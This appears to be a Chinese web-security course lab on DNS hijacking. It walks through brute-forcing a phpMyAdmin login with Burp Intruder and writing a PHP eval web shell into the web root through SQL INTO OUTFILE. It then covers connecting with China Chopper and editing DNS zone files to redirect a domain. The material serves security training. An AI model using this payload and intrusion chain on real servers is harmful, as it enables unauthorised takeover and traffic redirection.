網域名稱劫持原理與實踐

2022-09-10 00:39:35 字數 3313 閱讀 8248

實驗簡介

實驗所屬系列:web安全

實驗物件:本科/專科資訊保安專業

實驗時數(學分):1學時

實驗類別:實踐實驗類

預備知識

了解網域名稱及網域名稱劫持

由於點分十進位制的ip位址難於記憶,便出現了網域名稱。由於網路傳輸中最終還是基於ip,所以必須通過一種機制將ip和網域名稱一一對應起來,這便是dns。全球總共有13臺根網域名稱伺服器。

網域名稱劫持是網際網路攻擊中常見的一種攻擊方式,攻擊者通過對dns伺服器進行攻擊,或偽造dns將目標站點解析到別的位址,使用者訪問該網域名稱時被重定向到別的站點。在劫持的網路範圍內攔截網域名稱解析的請求,分析請求的網域名稱,把審查範圍以外的請求放行,否則直接返回假的ip位址或者什麼也不做使得請求失去響應,其效果就是對特定的**不能訪問或訪問的是假**。

網域名稱劫持的原理

網域名稱劫持的基本原理是使用者輸入要訪問的網域名稱,請求dns伺服器遍歷dns資料庫,查詢該網域名稱對應的ip位址,將其結果返回給使用者。在dns伺服器遍歷dns資料庫時,如果修改了該網域名稱對應的ip,便實現了網域名稱劫持。簡單來說就是:本來乙個網域名稱對應乙個ip,當這個網域名稱對應到別的ip上就稱為網域名稱劫持。如果知道該網域名稱的真實ip位址,則可以直接用此ip代替網域名稱後進行訪問。

實驗目的

通過該實驗了解網域名稱劫持的原理,完成對郵件伺服器的劫持。

實驗環境

實驗步驟一

實驗中提供了一台郵件伺服器,該伺服器同時提供dns服務,測試者通過入侵到該伺服器,修改dns服務中的正向解析與反向解析檔案實現劫持。

首先我們開啟 看到乙個郵件登入入口。

這裡我們先使用burpsuite對該站點進行目錄掃瞄。

1、配置好ie**,擷取資料報。

2、右鍵send to spider。

3、發現存在phpmyadmin。如果未出現請單擊filter將hide empty folders(隱藏空資料夾)的勾去掉。

5、接下來對phpmyadmin進行暴力破解,隨便輸入乙個使用者名稱和密碼,比如此處我輸入:使用者名稱:root 密碼:123,頁面提示錯誤,然後檢視burpsuite截獲到的資料報。

6、找到authorization,選中basic後邊的字串,進行如下步驟:右鍵convert selection->base64->base64-decode。

7、可以看到剛才輸入的使用者名稱和密碼。

8、右鍵send to intruder,在positions選項卡下單擊clear$。

9、選中root:123,單擊add$。

10、切換到payloads選項卡下,設定payload type,在add處新增使用者名稱,separator for position1 處新增乙個冒號。

11、載入桌面上乙個密碼字典pass.txt,配置如下。

12、配置payload processing,如下圖:

13、去掉payload encoding中的對號。

14、單擊intruder下的start attack,一段時間後,發現了乙個length和其他的不同。

15、雙擊開啟,複製紅色區域的字串。

16、貼上在decoder下,選擇decode as base64,可以看到使用者名稱密碼為root:1234567890,登入。

實驗步驟二

17、接下來需要知道**的路徑是什麼,一般**搭建好後都會存在info.php,phpinfo.php,php_info.php等測試檔案,一一訪問下,發現存在phpinfo.php檔案,並得知**目錄為c:/xampp/xampp/htdocs。

18、此時需要通過phpmyadmin拿這個站點的shell,選擇sql,輸入如下命令,點選執行:

use mysql;   //使用mysql資料庫

create table heetian (heetian1 text not null);   //建立heetian表,heetian1欄位

insert into heetian(heetian1) values('<?php  @eval($_post[pass]);?>');   //在heetian表中的heetian1欄位中新增值為一句話

select heetian1 from heetian into outfile 'c:/xampp/xampp/htdocs/test.php';   //使用mysql中outfile函式將其匯出到test.php

drop table if exists heetian;   //刪除heetian表

返回結果如下:

19、執行成功,訪問下

20、發現返回空白頁面,接下來用中國菜刀連線一下。

21、接下來我們需要對這台伺服器進行網域名稱劫持,將其劫持到一台ip為10.1.1.253的主機上,找到c:\windows\system32\dns\etc中的test.com.zone和10.1.1.zone。

22、分別對這兩個檔案進行編輯,儲存。

23、右鍵「虛擬終端」。

24、重啟下dns服務,輸入命令:net stop named和net start named,回車。

到此,實現完整的網域名稱劫持過程,試驗結束。

實驗報告要求

參考實驗原理與相關介紹,完成實驗任務,並對實驗結果進行分析,完成思考題目,總結實驗的心得體會,並提出實驗的改進意見。

分析與思考

1、網域名稱劫持分為哪幾種型別?最常用的是那種?

網域名稱劫持原理與實踐

這裡我們先使用burpsuite對該站點進行目錄掃瞄。1 配置好ie 擷取資料報。2 右鍵send to spider。發現存在phpmyadmin。如果未出現請單擊filter將hide empty folders 隱藏空資料夾 的勾去掉。然後在位址列新增phpmyadmin 接下來對phpmya...

網域名稱劫持預防與解決辦法

網域名稱被劫持後該怎麼做?如何預防網域名稱劫持?1 為網域名稱註冊商和註冊用郵箱設定複雜密碼且經常更換。使用單獨的dns服務,也需要對密碼進行上述設定。同時注意不要在多個重要註冊地使用相同的使用者名稱和密碼 2 將網域名稱更新設定為鎖定狀態,不允許通過dns服務商 修改記錄,使用此方法後,需要做網域...

DNS與DNS劫持原理 IP 網域名稱 伺服器訪問淺講

我們都知道,平常我們所訪問的 都是與伺服器進行資料互動的。但是,瀏覽器和伺服器是分處於不同的計算機上的,那他們是怎樣進行通訊的呢?今天,我們就來粗淺地聊一聊。不涉及很深的技術原理,只講大概的流程。首先,我們來談談伺服器的訪問問題。伺服器也是一台計算機,連上網際網路之後,就成了網路中的乙個節點。乙個網...